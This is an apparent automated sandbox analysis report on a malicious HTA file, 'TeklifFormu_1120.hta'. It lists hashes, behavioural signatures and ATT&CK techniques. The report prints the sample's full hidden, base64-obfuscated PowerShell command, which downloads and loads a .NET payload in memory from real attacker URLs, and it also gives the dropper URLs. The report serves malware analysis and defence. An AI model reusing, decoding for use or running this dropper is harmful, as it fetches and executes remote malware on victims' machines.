968416f33911ac6dbdf52a31009d85d954bd3ad3d13aa73bf52d4731c2efa768

General

Target
TeklifFormu_1120.hta
Size 2.4MB
Sample260610-nd39eshs41
SHA256 968416f33911ac6dbdf52a31009d85d954bd3ad3d13aa73bf52d4731c2efa768
MD5 0c1cc4ae6cca523c7b50fac69874e5ba
SHA1 f948373234b5081f9f56021a5583cadca888d5ab
SHA512 ca3c01b089079874010c66ed57cee2877949c12aca7d82916cc62eaaae6b464ac9e4dd0e2cfdbc4580a57548097aacd9d8ff6c14f003afca884fd008e4ba25f6
SSDEEP 384:XHSQWJGX90EsrEbzE6KkM1VFR1ah1EobKJ87c71rS6cPrAzNv+gvGIOs2KvnjU5y:XO736nK
TLSH
T11AC58C4587CE62EA9878201EA546A74ECD1E30DF7B3EF50B292FE8E139D434949BC134
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
https://icy-lab-0431.guilherme-telecomunicacoes2024.workers.dev/ZacAJ
exe.dropper
https://icy-lab-0431.guilherme-telecomunicacoes2024.workers.dev/ZacAJ

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2256	4876	powershell.exe	81

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2256	powershell.exe
3	2256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2256	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2256	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\TeklifFormu_1120.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
PID:5792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JHNudWdnbGVyPSdodHRwQDovL2ljeS1sYWItMDQzMS5ndWlsaGVybWUtdGVsZWNvbXVuaWNhY29lQDIwMjQud29ya2VyQC5kZXYvWmFjQUonLlJlcGxhY2UoJ0AnLCdzJyk7DQokZ3Jhdnk9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50Ow0KJGdyYXZ5LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAnKTsNCiRub25mbGFtbWFibGU9JGdyYXZ5LkRvd25sb2FkRGF0YSgkc251Z2dsZXIpOw0KJGh5ZHJvcGh5dG9sb2d5PVtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJG5vbmZsYW1tYWJsZSk7DQokYnVybm91cz0nSU4tJzsNCiRwaWdub2xpYT0nLWluMSc7DQokZXF1aWxhdGVyYWw9JGh5ZHJvcGh5dG9sb2d5LkluZGV4T2YoJGJ1cm5vdXMpOw0KJGhlbG9zdG9taWQ9JGh5ZHJvcGh5dG9sb2d5Lkxhc3RJbmRleE9mKCRwaWdub2xpYSk7DQppZigkZXF1aWxhdGVyYWwgLWVxIC0xIC1vciAkaGVsb3N0b21pZCAtZXEgLTEpew0KcmV0dXJufQ0KOw0KJG1hZ2lzdHJhY2llcz0kZXF1aWxhdGVyYWwrJGJ1cm5vdXMuTGVuZ3RoOw0KJGxpbW5hZGlhY2VhPSRoeWRyb3BoeXRvbG9neS5TdWJzdHJpbmcoJGh5ZHJvcGh5dG9sb2d5LkluZGV4T2YoJGJ1cm5vdXMpKyRidXJub3VzLkxlbmd0aCwgJGhlbG9zdG9taWQtKCRoeWRyb3BoeXRvbG9neS5JbmRleE9mKCRidXJub3VzKSskYnVybm91cy5MZW5ndGgpKTsNCiRhbmltYWxpc2F0aW9uPSRsaW1uYWRpYWNlYS5SZXBsYWNlKCcjJywnQScpLlRvQ2hhckFycmF5KCk7DQpbQXJyYXldOjpSZXZlcnNlKCRhbmltYWxpc2F0aW9uKTsNCiRicnVjaWE9JGFuaW1hbGlzYXRpb24gLWpvaW4gJyc7DQpbYnl0ZVtdXSRhc3BpcmluZ25lc3M9W0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRicnVjaWEpOw0KJGVzcGFnbm9sZXR0ZT1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKCRhc3BpcmluZ25lc3MpOw0KJHBpY2VvdXM9QCgnaHR0cDovLzE5NS4xNzcuOTQuMTAzL2ltZ18wODQ2MDgucG5nJywnJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCc5ZEZjeUJEaFdjJywnTVNCdWlsZCcsJycsJ01TQnVpbGQnLCcnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJzlkRmN5QkRoV2MnLCdodGEnLCcxJywnJywndGlReW5GMktxWicsJzAnLCcnLCcnLCcnKTsNCnRyeXsNCiRyZWRpZj0kZXNwYWdub2xldHRlLkdldFR5cGUoJ0ZpYmVyLlByb2dyYW0nKTsNCiR1bndvcmthYmx5PSRyZWRpZi5HZXRNZXRob2QoJ01haW4nKTsNCiR1bndvcmthYmx5Lkludm9rZSgkbnVsbCxbb2JqZWN0W11dJHBpY2VvdXMpfQ0KY2F0Y2h7DQp9DQo=' ) ) )) "
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_wguk3ues.chz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wguk3ues.chz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2256-0-0x000001D407040000-0x000001D407050000-memory.dmp

Download

memory/2256-1-0x000001D407040000-0x000001D407050000-memory.dmp

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memory/2256-7-0x000001D422770000-0x000001D422792000-memory.dmp

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memory/2256-9-0x000001D407040000-0x000001D407050000-memory.dmp

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memory/2256-10-0x000001D407040000-0x000001D407050000-memory.dmp

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memory/2256-11-0x000001D407040000-0x000001D407050000-memory.dmp

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memory/2256-12-0x000001D407040000-0x000001D407050000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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